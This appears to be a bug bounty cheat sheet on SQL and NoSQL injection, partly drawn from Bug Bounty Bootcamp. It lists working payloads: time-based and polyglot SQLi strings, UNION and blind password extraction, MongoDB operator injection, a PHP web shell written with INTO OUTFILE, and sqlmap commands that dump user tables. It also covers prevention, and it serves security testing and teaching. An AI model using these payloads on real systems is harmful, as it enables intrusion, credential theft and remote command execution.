Table of Contents

Tactical Fuzzing - SQLi

SQL Injection

Core Idea: Does the page look like it might need to call on stored data?

There exist some SQLi polyglots, i.e (Mathias Karlsson):

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Works in single quote context, works in double quote context, works in “straight into query” context!

You can also leverage the large database of fuzzlists from Seclists (https://github.com/danielmiessler/SecLists)

SQL Injection Observations

Blind is predominant, Error based is highly unlikely.

'%2Bbenchmark(3200,SHA1(1))%2B'
'+BENCHMARK(40000000,SHA1(1337))+'

SQLMap is king!

Lots of injection in web services!

Best SQL injection resources

Zseano/Drew SQLi Additions

Time-based detection payloads:

' or sleep(15) and 1=1#
' or sleep(15)#
' union select sleep(15),null#
'%2Bbenchmark(3200,SHA1(1))%2B'

Polyglot (jhaddix):

"SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

BBC Ch 11: SQL Injection

Merged from Bug Bounty Bootcamp Ch 11 by Vickie Li

How SQL Injection Works

SQL injection happens when user-supplied input is interpolated directly into a SQL query without sanitization, allowing the attacker to alter the query's logic.

Classic example – auth bypass via comment:

SELECT * FROM Users WHERE Username='admin' AND Password='' OR 1=1--

The starts a SQL comment, terminating the rest of the query. OR 1=1 always evaluates true, so authentication is bypassed regardless of the password field.

Input that achieves this:

Username field: admin'--
Password field: (anything)

The SELECT then becomes:

SELECT * FROM Users WHERE Username='admin'--' AND Password='anything'

Types of SQL Injection

In-Band SQLi

Results are returned directly in the HTTP response.

UNION-based: extract data from other tables by appending a UNION SELECT:

SELECT Title, Body FROM Articles WHERE Id=1
UNION SELECT Username, Password FROM Users

To use UNION, the injected SELECT must return the same number of columns as the original query, and data types must be compatible. First determine the column count with ORDER BY:

https://example.com/articles?id=1 ORDER BY 1--
https://example.com/articles?id=1 ORDER BY 2--
https://example.com/articles?id=1 ORDER BY 3--  (error -> 2 columns)

Then extract:

https://example.com/articles?id=1 UNION SELECT Username, Password FROM Users--

Error-based: the database error message itself contains extracted data. Useful when the app shows database errors.

Blind SQLi

No data returned in the response – infer data from behavior.

Boolean-based: ask a true/false question; different responses reveal the answer.

Brute-force admin password character by character using SUBSTR:

SELECT * FROM Users WHERE Username='admin'
  AND SUBSTR(Password, 1, 1) = 's'--

If page behavior matches the “true” response, the first character is s. Iterate through positions and characters to reconstruct the full password.

Time-based: when there is no observable difference between true and false responses, use SLEEP:

SELECT * FROM Users WHERE Username='admin'
  AND IF(SUBSTR(Password,1,1)='s', SLEEP(10), 0)--

A 10-second delay confirms the character is correct.

Out-of-band: exfiltrate data via DNS or HTTP to an external server. Used when neither boolean nor time channels are available.

Second-Order SQLi

The payload is stored in the database (user registration, profile update) and executed later when the application uses that stored value in another SQL query – typically in a context with different input sanitization.

Example: register with username admin'–. The registration step sanitizes and stores it safely. Later, a password-change feature builds:

UPDATE Users SET Password='newpass' WHERE Username='admin'--'

The comment terminates the WHERE clause, updating admin's password instead of the attacker's account.

NoSQL Injection

NoSQL databases (MongoDB, CouchDB) use their own query languages; injection still applies.

MongoDB auth bypass with operator injection:

Normal login query:

db.users.find({username: username, password: password})

Inject a MongoDB query operator via JSON body:

{"username": "admin", "password": {"$ne": ""}}

$ne means “not equal to” – the password condition is always true, bypassing auth.

$where JavaScript injection:

db.users.find({$where: "this.username == 'user' && this.password == 'pass'"})

Inject into the string:

username=admin'&&+this.password[0]=='a'&&'1'=='1

This builds a JS expression that brute-forces password characters. If the $where clause executes arbitrary JS, you can also cause DoS:

username=admin';while(true){}&

Prevention

Prepared statements (parameterized queries): the query structure is compiled separately from user input. Input is always treated as literal data, never as SQL syntax. This is the primary defense:

PreparedStatement stmt = conn.prepareStatement(
    "SELECT * FROM Users WHERE Username=? AND Password=?");
stmt.setString(1, username);
stmt.setString(2, password);

Input validation and allowlisting (e.g., only allow integers for numeric parameters) provide defense-in-depth. For NoSQL, use the driver's parameterized query APIs.

Hunting for SQLi

Step 1: Identify User-Supplied Input

Any input that reaches a database query is a candidate:

Step 2: Inject Test Payloads

For each input field, send payloads that break out of string context:

'
''
;
-- -
;-- -
' OR '1'='1
' OR 1=1--

Observe for:

Step 3: Confirm and Extract

If behavior changes on ' but not on , confirm it is SQLi (not just input validation). Proceed with UNION extraction or blind brute-forcing depending on response visibility. For time-based confirmation: <code> '; IF(1=1, SLEEP(10), 0)– '; IF(1=2, SLEEP(10), 0)– (should NOT sleep) </code> ==== Step 4: Determine the Database ==== Fingerprint the database to use the correct syntax: <code sql> @@version (MySQL, MSSQL) version() (PostgreSQL) SELECT banner FROM v$version (Oracle) </code> Enumerate tables and columns: <code sql> SELECT table_name FROM information_schema.tables WHERE table_schema=database() SELECT column_name FROM information_schema.columns WHERE table_name='users' </code> ==== Step 5: Escalate ==== Dump credentials: extract username and password columns from the users table. Crack hashed passwords offline. Web shell via INTO OUTFILE (MySQL, with FILE privilege): <code sql> SELECT “<?php system($_REQUEST['cmd']); ?>” INTO OUTFILE '/var/www/html/shell.php' </code> Confirm the web root path from server error messages or default config paths. After writing the file: <code> https://example.com/shell.php?cmd=id </code> This gives OS command execution. Automation: sqlmap <code> sqlmap -u “https://example.com/articles?id=1” -p id –dbs sqlmap -u “https://example.com/articles?id=1” -p id -D target_db –tables sqlmap -u “https://example.com/articles?id=1” -p id -D target_db -T users –dump </code> Use –level and –risk to increase test coverage. Use –forms to test form fields automatically. ===== 5-Step Checklist ===== - Map all user-supplied inputs that reach database queries (URL params, POST body, headers, stored values). - Inject ''' and SQL-breaking payloads; look for errors, behavioral changes, or delays.

  1. Confirm: use balanced quotes test (one quote breaks, two quotes restores normal behavior).
  2. Fingerprint the database; enumerate tables and columns via information_schema.
  3. Extract credentials; attempt INTO OUTFILE web shell if FILE privilege is available; automate with sqlmap.